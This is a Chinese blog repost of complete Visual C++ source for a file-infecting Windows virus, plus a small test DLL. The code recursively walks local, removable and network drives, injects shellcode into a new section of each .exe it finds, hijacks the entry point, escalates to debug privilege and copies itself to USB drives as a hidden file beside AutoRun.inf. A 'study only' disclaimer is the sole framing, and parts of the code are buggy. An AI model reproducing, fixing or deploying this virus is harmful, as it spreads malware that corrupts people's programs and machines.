PE型感染病毒 - VC源码

“真正的文件型PE病毒,是不能发布调试版本的,只能靠自己的判断使用发布版本,就算要调试也只能使用其它的调试器,比喻说OllyDbg来调试发布版本……” 这类程序调试起来足矣让人精神紊乱,下面是全部的代码,有兴趣的看看吧…..

测试Test.dll源码:

  1. /////////////////////////////////////////////////////////////////////////////
  2. // Test.dll
  3. // by Koma 2009-12-18 0:40
  4. // http://blog.csdn.net/wangningyu
  5. #include <windows.h>
  6. BOOL APIENTRY DllMain( HANDLE hModule,
  7. DWORD ul_reason_for_call,
  8. LPVOID lpReserved
  9. )
  10. {
  11. HANDLE hThread;
  12. DWORD dwThread;
  13. switch(lpReserved)
  14. {
  15. case DLL_PROCESS_ATTACH:
  16. MessageBox(NULL,"some process is attching !","Test",MB_OK);
  17. hThread = CreateThread(NULL,0,SomeFunction,NULL,0,dwThread);
  18. WaitForSingleObject(hThread,INFINITE);
  19. CloseHandle(hThread);
  20. break;
  21. case DLL_THREAD_ATTACH:
  22. MessageBox(NULL,"some thread is attching !","Test",MB_OK);
  23. break;
  24. case DLL_THREAD_DETACH:
  25. MessageBox(NULL,"some thread is detaching !","Test",MB_OK);
  26. break;
  27. case DLL_PROCESS_DETACH: //
  28. MessageBox(NULL,"some process is exited !","Test",MB_OK);
  29. break;
  30. }
  31. return TRUE;
  32. }
主程序源码:
  1. /////////////////////////////////////////////////////////////////////////////
  2. // 感染PE文件病毒源码
  3. // by Koma 2009-12-18 0:30
  4. // http://blog.csdn.net/wangningyu
  5. // 程序仅供学习交流,请不要尝试用作非法用途!
  6. // 感谢寂寞的狼、llydd、大飞的指导与技术支持!
  7. /////////////////////////////////////////////////////////////////////////////
  8. // 引入头文件
  9. //
  10. #include <afxwin.h>
  11. #include <windows.h>
  12. /////////////////////////////////////////////////////////////////////////////
  13. // DiskInfo class
  14. // 采用多线程感染每一个磁盘驱动器
  15. //
  16. class DiskInfo
  17. {
  18. public:
  19. CString m_strName; // 磁盘名称,例如C:
  20. CString m_strFilePath; // 感染文件的绝对路径
  21. BOOL CurFileIsInject; // 判断该文件是否被感染过
  22. DiskInfo(); // 构造函数,用来初始化成员变量
  23. };
  24. /////////////////////////////////////////////////////////////////////////////
  25. // DiskInfo 构造函数
  26. // 初始化成员变量
  27. //
  28. DiskInfo::DiskInfo()
  29. {
  30. m_strFilePath = _T("");
  31. m_strName = _T("");
  32. }
  33. /************************************************************************/
  34. // 全局函数声明
  35. /************************************************************************/
  36. void EmuAllDisk(); // 多线程感染全盘文件
  37. BOOL GetOSVersion(); // 获取操作系统版本是不是NT内核
  38. BOOL InfectPE(CString strFilePath); // 感染指定路径exe文件
  39. BOOL IsInfect(CString strFile); // 判断是否被感染过
  40. BOOL CheckPE(FILE* pFile); // 检查文件格式
  41. int Align(int size,unsigned int align); // 用来计算对齐数据后的大小
  42. int EmuDiskFiles(LPCTSTR lpStr); // 遍历指定盘符exe文件
  43. void RaiseToDebug(); // 进程
  44. /************************************************************************/
  45. // 全局变量声明
  46. /************************************************************************/
  47. DiskInfo di; // 传递多线程参数:设置盘符名
  48. DiskInfo diInject; // 传递多线程参数:设置文件路径
  49. /************************************************************************/
  50. /* 函数说明:复制到U盘
  51. /* 参 数:无
  52. /* 返 回 值:成功返回0,失败返回非0
  53. /* By:Koma 2009.12.16 20:35
  54. /************************************************************************/
  55. DWORD ThreadInfectU()
  56. {
  57. while(true)
  58. {
  59. // 磁盘类型
  60. UINT revtype;
  61. char name[256]="H:\\" ;
  62. char szName[256]={0};
  63. char toPath[256]={0};
  64. char infPath[256]={0};
  65. char openU[80]={0};
  66. // 遍历所有盘符
  67. for(BYTE i=0x42;i<0x5B;i=i+0x01)
  68. {
  69. name[0]=i;
  70. revtype=GetDriveType(name);
  71. // 判断是否是可移动存储设备
  72. if (revtype==DRIVE_REMOVABLE)
  73. {
  74. // 得到自身文件路径、比较是否和U盘的盘符相同
  75. GetModuleFileName(NULL,szName,256);
  76. if(strncmp(name,szName,1)==0)
  77. {
  78. return -1;
  79. }
  80. else
  81. {
  82. strcpy(toPath,name);
  83. strcat(toPath,"\\Player.exe");
  84. strcpy(infPath,name);
  85. strcat(infPath,"\\AutoRun.inf");
  86. // 还原U盘上的文件属性
  87. SetFileAttributes(toPath,FILE_ATTRIBUTE_NORMAL);
  88. SetFileAttributes(infPath,FILE_ATTRIBUTE_NORMAL);
  89. // 删除原有文件
  90. DeleteFile(toPath);
  91. DeleteFile(infPath);
  92. // 拷贝自身文件到U盘、把这两个文件设置成系统,隐藏属性
  93. CopyFile(szName,toPath,FALSE);
  94. SetFileAttributes(toPath,
  95. FILE_ATTRIBUTE_HIDDEN|FILE_ATTRIBUTE_SYSTEM);
  96. SetFileAttributes(infPath,
  97. FILE_ATTRIBUTE_HIDDEN|FILE_ATTRIBUTE_SYSTEM);
  98. }
  99. }
  100. }
  101. // 休眠5秒检测一次
  102. Sleep(5000);
  103. }
  104. }
  105. /************************************************************************/
  106. /* 函数说明:线程 —— 感染指定exe文件
  107. /* 参 数:驱动器名称,如C:
  108. /* 返 回 值:遍历的数目
  109. /* By:Koma 2009.12.17 14:05
  110. /************************************************************************/
  111. DWORD ThreadInject(LPVOID lpParameter)
  112. {
  113. DiskInfo *diParam = (DiskInfo *)lpParameter;
  114. BOOL bRet = InfectPE(diParam->m_strFilePath);
  115. if(bRet)
  116. return 0;
  117. return -1;
  118. }
  119. /************************************************************************/
  120. /* 函数说明:线程 —— 遍历驱动器exe文件
  121. /* 参 数:驱动器名称,如C:
  122. /* 返 回 值:遍历的数目
  123. /* By:Koma 2009.12.17 14:05
  124. /************************************************************************/
  125. DWORD ThreadDisk(LPVOID lpParameter)
  126. {
  127. DiskInfo *diParam = (DiskInfo *)lpParameter;
  128. BOOL bRet = EmuDiskFiles(diParam->m_strName);
  129. if(bRet)
  130. return 0;
  131. return -1;
  132. }
  133. int WINAPI WinMain( HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nShowCmd )
  134. {
  135. RaiseToDebug(); // 提升权限
  136. EmuAllDisk(); // 依次启动遍历磁盘线程、遍历文件
  137. MessageBox(NULL,"程序启动成功!","测试",MB_OK);
  138. return 0;
  139. }
  140. /************************************************************************/
  141. /* 函数说明:获取应用程序当前目录
  142. /* 参 数:无
  143. /* 返 回 值:返回目录路径、CString类型字符串
  144. /* By:Koma 2009.12.17 14:25
  145. /************************************************************************/
  146. CString GetExePath()
  147. {
  148. char pathbuf[260];
  149. int pathlen = ::GetModuleFileName(NULL,pathbuf,260);
  150. // 替换掉单杠
  151. while(TRUE)
  152. {
  153. if(pathbuf[pathlen--]=='\\')
  154. break;
  155. }
  156. pathbuf[++pathlen]= 0x0;
  157. CString fname = pathbuf;
  158. return fname;
  159. }
  160. /************************************************************************/
  161. /* 函数说明:提升进程权限到debug权限
  162. /* 参 数:无
  163. /* 返 回 值:无
  164. /* By:Koma 2009.12.17 21:20
  165. /************************************************************************/
  166. void RaiseToDebug()
  167. {
  168. HANDLE hToken;
  169. HANDLE hProcess = GetCurrentProcess(); // 获取当前进程句柄
  170. // 打开当前进程的Token,就是一个权限令牌,第二个参数可以用TOKEN_ALL_ACCESS
  171. if (OpenProcessToken(hProcess, TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken))
  172. {
  173. TOKEN_PRIVILEGES tkp;
  174. if (LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &tkp.Privileges[0].Luid))
  175. {
  176. tkp.PrivilegeCount = 1;
  177. tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
  178. //通知系统修改进程权限
  179. BOOL bREt = AdjustTokenPrivileges(hToken, FALSE, &tkp, 0, NULL, 0);
  180. }
  181. CloseHandle(hToken);
  182. }
  183. }
  184. /************************************************************************/
  185. /* 函数说明:保护文件防止被轻易删除
  186. /* 参 数:无
  187. /* 返 回 值:无
  188. /* By:Koma 2009.12.17 21:42
  189. /************************************************************************/
  190. BOOL OccupyFile(LPCTSTR lpFileName)
  191. {
  192. RaiseToDebug(); // 提升权限
  193. // 打开syetem进程,打开前必须赋予PROCESS_DUP_HANDLE权限
  194. HANDLE hProcess = OpenProcess(PROCESS_DUP_HANDLE, FALSE, 4);
  195. if (hProcess == NULL)
  196. {
  197. hProcess = OpenProcess(PROCESS_DUP_HANDLE, FALSE, 8);
  198. if (hProcess == NULL)
  199. return FALSE;
  200. }
  201. HANDLE hFile = NULL;
  202. HANDLE hTargetHandle = NULL;
  203. // 创建一个文件,当然这个文件可以是本来就存在的
  204. hFile = CreateFile(lpFileName, GENERIC_READ | GENERIC_EXECUTE | GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
  205. if (hFile == INVALID_HANDLE_VALUE)
  206. {
  207. // 文件创建或打开失败
  208. CloseHandle( hProcess );
  209. return FALSE;
  210. }
  211. return TRUE;
  212. }
  213. /************************************************************************/
  214. /* 函数说明:多线程感染全盘文件
  215. /* 参 数:无
  216. /* 返 回 值:无
  217. /* By:Koma 2009.12.17 22:30
  218. /************************************************************************/
  219. void EmuAllDisk()
  220. {
  221. CString strTemp; // 临时字符串
  222. UINT revtype; // 磁盘类型
  223. char name[5]= "C:"; // 磁盘名称
  224. int nCount = 0; // 磁盘数量
  225. HANDLE hThread[10]; // 最大启动十个磁盘感染线程
  226. DWORD dwTid[10]; // 线程PID
  227. for(BYTE i=0x42;i<0x5B;i=i+0x01) // 遍历所有盘符
  228. {
  229. name[0]=i;
  230. revtype=GetDriveType(name);
  231. switch(revtype){ // 判断磁盘驱动器的属性
  232. case DRIVE_FIXED: // 是否为本地磁盘
  233. case DRIVE_REMOVABLE: // 是否为可移动磁盘
  234. case DRIVE_REMOTE: // 是否为网络磁盘
  235. if(nCount>10){ // 最大启动十个线程
  236. nCount = 0; // 恢复计数器
  237. Sleep(30000); // 休眠30秒
  238. break;
  239. }
  240. strTemp.Format("%c",name[0]);
  241. strTemp = strTemp + ":"; // 磁盘字符串形式,如C:
  242. di.m_strName = strTemp; // 设置感染文件的绝对路径
  243. hThread[nCount] = CreateThread (NULL, 0, (unsigned long (__stdcall *)(void *))ThreadDisk,(LPVOID)(&di),NULL,&dwTid[nCount]);
  244. nCount++;
  245. break;
  246. }
  247. }
  248. }
  249. /************************************************************************/
  250. /* 函数说明:判断操作系统版本
  251. /* 参 数:无
  252. /* 返 回 值:NT以上版本的系统返回TRUE,失败返回FALSE
  253. /* By:Koma 2009.12.18 22:20
  254. /************************************************************************/
  255. BOOL GetOSVersion()
  256. {
  257. DWORD dwVersion = 0;
  258. // 如果是Windows 98/Me/95以上的操作系统则返回TRUE
  259. dwVersion = GetVersion();
  260. if (dwVersion < 0x80000000)
  261. {
  262. return TRUE;
  263. }
  264. return FALSE;
  265. }
  266. /************************************************************************/
  267. /* 函数说明:感染exe文件
  268. /* 参 数:strFile 文件路径
  269. /* 返 回 值:成功返回TRUE,失败返回FALSE
  270. /* By:Koma 2009.12.18 21:32
  271. /************************************************************************/
  272. BOOL InfectPE(CString strFilePath)
  273. {
  274. FILE* rwFile; // 被感染的文件
  275. IMAGE_SECTION_HEADER NewSection; // 定义要添加的区块
  276. IMAGE_NT_HEADERS NThea; //
  277. DWORD pNT; // pNT中存放IMAGE_NT_HEADERS结构的地址
  278. int nOldSectionNo;
  279. int OEP;
  280. if((rwFile=fopen(strFilePath,"rb"))==NULL){ // 打开文件失败则返回
  281. return FALSE;
  282. }
  283. if(!CheckPE(rwFile)){ // 如果不是PE文件则返回
  284. return FALSE;
  285. }
  286. fseek(rwFile,0x3c,0);
  287. fread(&pNT,sizeof(DWORD),1,rwFile);
  288. fseek(rwFile,pNT,0);
  289. fread(&NThea,sizeof(IMAGE_NT_HEADERS),1,rwFile); // 读取原文件的IMAGE_NT_HEADERS结构
  290. nOldSectionNo=NThea.FileHeader.NumberOfSections; // 保存原文件区块数量
  291. OEP=NThea.OptionalHeader.AddressOfEntryPoint; // 保存原文件区块OEP
  292. IMAGE_SECTION_HEADER SEChea; // 定义一个区块存放原文件最后一个区块的信息
  293. int SECTION_ALIG=NThea.OptionalHeader.SectionAlignment;
  294. int FILE_ALIG=NThea.OptionalHeader.FileAlignment; // 保存文件对齐值与区块对齐值
  295. memset(&NewSection, 0, sizeof(IMAGE_SECTION_HEADER));
  296. fseek(rwFile,pNT+248,0); // 读原文件最后一个区块的信息
  297. for(int i=0;i<nOldSectionNo;i++)
  298. fread(&SEChea,sizeof(IMAGE_SECTION_HEADER),1,rwFile);
  299. FILE *newfile = fopen(strFilePath,"rb+");
  300. if(newfile==NULL){
  301. return FALSE;
  302. }
  303. fseek(newfile,SEChea.PointerToRawData+SEChea.SizeOfRawData,SEEK_SET);
  304. goto shellend;
  305. __asm
  306. {
  307. shell: PUSHAD
  308. MOV EAX,DWORD PTR FS:[30H] ;FS:[30H]指向PEB
  309. MOV EAX,DWORD PTR [EAX+0CH] ;获取PEB_LDR_DATA结构的指针
  310. MOV EAX,DWORD PTR [EAX+1CH] ;获取LDR_MODULE链表表首结点的inInitializeOrderModuleList成员的指针
  311. MOV EAX,DWORD PTR [EAX] ;LDR_MODULE链表第二个结点的inInitializeOrderModuleList成员的指针
  312. MOV EAX,DWORD PTR [EAX+08H] ;inInitializeOrderModuleList偏移8h便得到Kernel32.dll的模块基址
  313. MOV EBP,EAX ;将Kernel32.dll模块基址地址放至kernel中
  314. MOV EAX,DWORD PTR [EAX+3CH] ;指向IMAGE_NT_HEADERS
  315. MOV EAX,DWORD PTR [EBP+EAX+120];指向导出表
  316. MOV ECX,[EBP+EAX+24] ;取导出表中导出函数名字的数目
  317. MOV EBX,[EBP+EAX+32] ;取导出表中名字表的地址
  318. ADD EBX,EBP
  319. PUSH WORD PTR 0X00 ;构造GetProcAddress字符串
  320. PUSH DWORD PTR 0X73736572
  321. PUSH DWORD PTR 0X64644163
  322. PUSH DWORD PTR 0X6F725074
  323. PUSH WORD PTR 0X6547
  324. MOV EDX,ESP
  325. PUSH ECX
  326. F1:
  327. MOV EDI,EDX
  328. POP ECX
  329. DEC ECX
  330. TEST ECX,ECX
  331. JZ EXIT
  332. MOV ESI,[EBX+ECX*4]
  333. ADD ESI,EBP
  334. PUSH ECX
  335. MOV ECX,15
  336. REPZ CMPSB
  337. TEST ECX,ECX
  338. JNZ F1
  339. POP ECX
  340. MOV ESI,[EBP+EAX+36] ;取得导出表中序号表的地址
  341. ADD ESI,EBP
  342. MOVZX ESI,WORD PTR[ESI+ECX*2] ;取得进入函数地址表的序号
  343. MOV EDI,[EBP+EAX+28] ;取得函数地址表的地址
  344. ADD EDI,EBP
  345. MOV EDI,[EDI+ESI*4] ;取得GetProcAddress函数的地址
  346. ADD EDI,EBP
  347. PUSH WORD PTR 0X00 ;构造LoadLibraryA字符串
  348. PUSH DWORD PTR 0X41797261
  349. PUSH DWORD PTR 0X7262694C
  350. PUSH DWORD PTR 0X64616F4C
  351. PUSH ESP
  352. PUSH EBP
  353. CALL EDI ;调用GetProcAddress取得LoadLibraryA函数的地址
  354. PUSH WORD PTR 0X00 ;添加参数“test”符串
  355. PUSH DWORD PTR 0X74736574
  356. PUSH ESP
  357. CALL EAX
  358. EXIT: ADD ESP,36 ;平衡堆栈
  359. POPAD
  360. }
  361. shellend:
  362. char* pShell;
  363. int nShellLen;
  364. BYTE jmp = 0xE9;
  365. __asm
  366. {
  367. LEA EAX,shell
  368. MOV pShell,EAX;
  369. LEA EBX,shellend
  370. SUB EBX,EAX
  371. MOV nShellLen,EBX
  372. }
  373. // 写入SHELLCODE,
  374. for(i=0;i<nShellLen;i++)
  375. fputc(pShell[i],newfile);
  376. // SHELLCODE之后是跳转到原OEP的指令
  377. NewSection.VirtualAddress=SEChea.VirtualAddress+Align(SEChea.Misc.VirtualSize,SECTION_ALIG);
  378. OEP=OEP-(NewSection.VirtualAddress+nShellLen)-5;
  379. fwrite(&jmp, sizeof(jmp), 1, newfile);
  380. fwrite(&OEP, sizeof(OEP), 1, newfile);
  381. // 将最后增加的数据用0填充至按文件中对齐的大小
  382. for(i=0;i<Align(nShellLen,FILE_ALIG)-nShellLen-5;i++)
  383. fputc('\0',newfile);
  384. // 新区块中的数据
  385. strcpy((char*)NewSection.Name,".NYsky");
  386. NewSection.PointerToRawData=SEChea.PointerToRawData+SEChea.SizeOfRawData;
  387. NewSection.Misc.VirtualSize=nShellLen;
  388. NewSection.SizeOfRawData=Align(nShellLen,FILE_ALIG);
  389. NewSection.Characteristics=0xE0000020;
  390. // 新区块可读可写可执行、写入新的块表
  391. fseek(newfile,pNT+248+sizeof(IMAGE_SECTION_HEADER)*nOldSectionNo,0);
  392. fwrite(&NewSection,sizeof(IMAGE_SECTION_HEADER),1,newfile);
  393. int nNewImageSize=NThea.OptionalHeader.SizeOfImage+Align(nShellLen,SECTION_ALIG);
  394. int nNewSizeofCode=NThea.OptionalHeader.SizeOfCode+Align(nShellLen,FILE_ALIG);
  395. fseek(newfile,pNT,0);
  396. NThea.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT].VirtualAddress=0;
  397. NThea.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT].Size=0;
  398. NThea.OptionalHeader.SizeOfCode=nNewSizeofCode;
  399. NThea.OptionalHeader.SizeOfImage=nNewImageSize;
  400. NThea.FileHeader.NumberOfSections=nOldSectionNo+1;
  401. NThea.OptionalHeader.AddressOfEntryPoint=NewSection.VirtualAddress;
  402. // 写入更新后的PE头结构
  403. fwrite(&NThea,sizeof(IMAGE_NT_HEADERS),1,newfile);
  404. fclose(newfile);
  405. fclose(rwFile);
  406. return TRUE;
  407. }
  408. /************************************************************************/
  409. /* 函数说明:判断文件是否被感染
  410. /* 参 数:strFile 文件路径
  411. /* 返 回 值:成功返回TRUE,失败返回FALSE
  412. /* By:Koma 2009.12.18 22:35
  413. /************************************************************************/
  414. BOOL IsInfect(CString strFile)
  415. {
  416. HANDLE hFile; // 保存文件句柄
  417. HANDLE hMapping; // 内存文件映射句柄
  418. void* pBasePointer; // PE入口点
  419. int dwSestion; // 节结数
  420. int i; // 临时循环变量
  421. BOOL bRet = FALSE; // 返回值
  422. IMAGE_DOS_HEADER *imDos_Headers; // 定义DOS头
  423. IMAGE_NT_HEADERS *imNT_Headers; // 定义PE头
  424. IMAGE_SECTION_HEADER *imSECTION_Headers; // 定义SECTION表头
  425. // 打开文件
  426. hFile=CreateFile(strFile,GENERIC_READ,FILE_SHARE_READ,0,OPEN_EXISTING,
  427. FILE_ATTRIBUTE_NORMAL,0);
  428. if (hFile==INVALID_HANDLE_VALUE){
  429. // GetLastError();
  430. return FALSE;
  431. }
  432. // 创建内存映射文件
  433. if (!(hMapping=CreateFileMapping(hFile,0,PAGE_READONLY|SEC_COMMIT,0,0,0))){
  434. CloseHandle(hFile);
  435. CloseHandle(hMapping);
  436. return FALSE;
  437. }
  438. if (!(pBasePointer=::MapViewOfFile(hMapping,FILE_MAP_READ,0,0,0))){
  439. CloseHandle(hFile);
  440. CloseHandle(hMapping);
  441. return FALSE;
  442. }
  443. // 设置初始指针地址
  444. imDos_Headers=(IMAGE_DOS_HEADER *)pBasePointer;
  445. if(!(imDos_Headers->e_magic ==IMAGE_DOS_SIGNATURE)){
  446. CloseHandle(hFile);
  447. CloseHandle(hMapping);
  448. return FALSE;
  449. }
  450. // NT头指针地址
  451. imNT_Headers=(IMAGE_NT_HEADERS *)((char *)pBasePointer+imDos_Headers->e_lfanew);
  452. // 读取节表名
  453. CString strTemp = "";
  454. CString strSectionName;
  455. for(i=0,imSECTION_Headers =(IMAGE_SECTION_HEADER *)((char *)imNT_Headers+sizeof(IMAGE_NT_HEADERS));i<imNT_Headers->FileHeader .NumberOfSections;i++,imSECTION_Headers++)
  456. {
  457. strTemp.Format("第%d节:%s\n",i+1,imSECTION_Headers->Name);
  458. strSectionName = strSectionName + strTemp;
  459. dwSestion = i;
  460. }
  461. // 查找节点是否存在
  462. // MessageBox(strSectionName);
  463. if(strSectionName.Find(".data")>0){
  464. bRet = TRUE;
  465. }
  466. // 关闭句柄、释放文件
  467. CloseHandle(hMapping);
  468. CloseHandle(hFile);
  469. return bRet;
  470. }
  471. /************************************************************************/
  472. /* 函数说明:用来计算对齐数据后的大小
  473. /* 参 数:size 计算大小
  474. /* align 对齐后的长度
  475. /* 返 回 值:对齐数据后的大小
  476. /* By:Koma 2009.12.18 23:25
  477. /************************************************************************/
  478. BOOL CheckPE(FILE* pFile)
  479. {
  480. fseek(pFile,0,SEEK_SET);
  481. BOOL bFlags=FALSE;
  482. WORD IsMZ;
  483. DWORD IsPE,pNT;
  484. fread(&IsMZ,sizeof(WORD),1,pFile);
  485. if(IsMZ==0x5A4D)
  486. {
  487. fseek(pFile,0x3c,SEEK_SET);
  488. fread(&pNT,sizeof(DWORD),1,pFile);
  489. fseek(pFile,pNT,SEEK_SET);
  490. fread(&IsPE,sizeof(DWORD),1,pFile);
  491. if(IsPE==0X00004550)
  492. bFlags=TRUE;
  493. else
  494. bFlags=FALSE;
  495. }
  496. else
  497. bFlags=FALSE;
  498. fseek(pFile,0,SEEK_SET);
  499. return bFlags;
  500. }
  501. /************************************************************************/
  502. /* 函数说明:用来计算对齐数据后的大小
  503. /* 参 数:size 计算大小
  504. /* align 对齐后的长度
  505. /* 返 回 值:对齐数据后的大小
  506. /* By:Koma 2009.12.18 23:42
  507. /************************************************************************/
  508. int Align(int size,unsigned int align)
  509. {
  510. if(size%align!=0)
  511. return (size/align+1)*align;
  512. else
  513. return size;
  514. }
  515. /************************************************************************/
  516. /* 函数说明:遍历感染指定驱动器中所有exe文件
  517. /* 参 数:驱动器名称,如C:
  518. /* 返 回 值:遍历的数目
  519. /* By:Koma 2009.12.18 23:55
  520. /************************************************************************/
  521. int EmuDiskFiles(LPCTSTR lpStr)
  522. {
  523. CFileFind fd;
  524. CString strWild(lpStr);
  525. CString str = fd.GetFilePath(); // 获取每个文件的绝对路径
  526. int nTemp = 0; // 最大启动5个线程同时感染
  527. BOOL bRet;
  528. HANDLE hThread;
  529. DWORD dwTid;
  530. strWild += _T("\\*.*"); // 查找类型
  531. bRet = fd.FindFile(strWild); // 开始查找
  532. while (bRet){ // 如果不为空,继续遍历
  533. ReEmu: bRet = fd.FindNextFile(); // 查找下一个文件
  534. if(fd.IsDots()) // 过滤目录自身与上层目录
  535. continue;
  536. else if(fd.IsDirectory()){ // 判断是否为文件夹
  537. CString str = fd.GetFilePath(); // 获取文件夹路径
  538. EmuDiskFiles(str); // 继续遍历子目录
  539. }
  540. else
  541. {
  542. int nTemp1 = str.Find("WINDOWS"); // 如果是XP系统目录则跳过
  543. int nTemp2 = str.Find("WINNT"); // 如果是WIN2000系统目录也跳过
  544. if(nTemp1>0 || nTemp2>0)
  545. goto ReEmu;
  546. if(str.Find(".exe")>0){ // 判断是否为exe扩展名
  547. if(!IsInfect(str)) // 判断是否感染过
  548. {
  549. di.m_strFilePath = str; // 设置感染文件的绝对路径
  550. hThread = CreateThread (NULL, 0, (unsigned long (__stdcall *)(void *))ThreadInject,(LPVOID)(&diInject),NULL,&dwTid);
  551. WaitForSingleObject(hThread,INFINITE);
  552. //InfectPE(str);
  553. }
  554. continue;
  555. }
  556. }
  557. Sleep(10000); // 10秒种遍历一个文件
  558. }
  559. return 0;
  560. }
  561. /////////////////////////////////////////////////////////////////////////////
  562. // 感染PE文件病毒源码
  563. // by Koma 2009-12-18 0:30
  564. // http://blog.csdn.net/wangningyu
  565. // 程序仅供学习交流,请不要尝试用作非法用途!
  566. /////////////////////////////////////////////////////////////////////////////

转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。可以在下面评论区评论,也可以邮件至 Web@Cool02.com

文章标题:PE型感染病毒 - VC源码

文章字数:3.1k

本文作者:零贰

发布时间:2010-09-22, 05:08:22

最后更新:2020-03-25, 18:28:31

原始链接:/html/20100922050822.html

版权声明: "署名-非商用-相同方式共享 4.0" 转载请保留原文链接及作者。

目录
零址导航 Gitee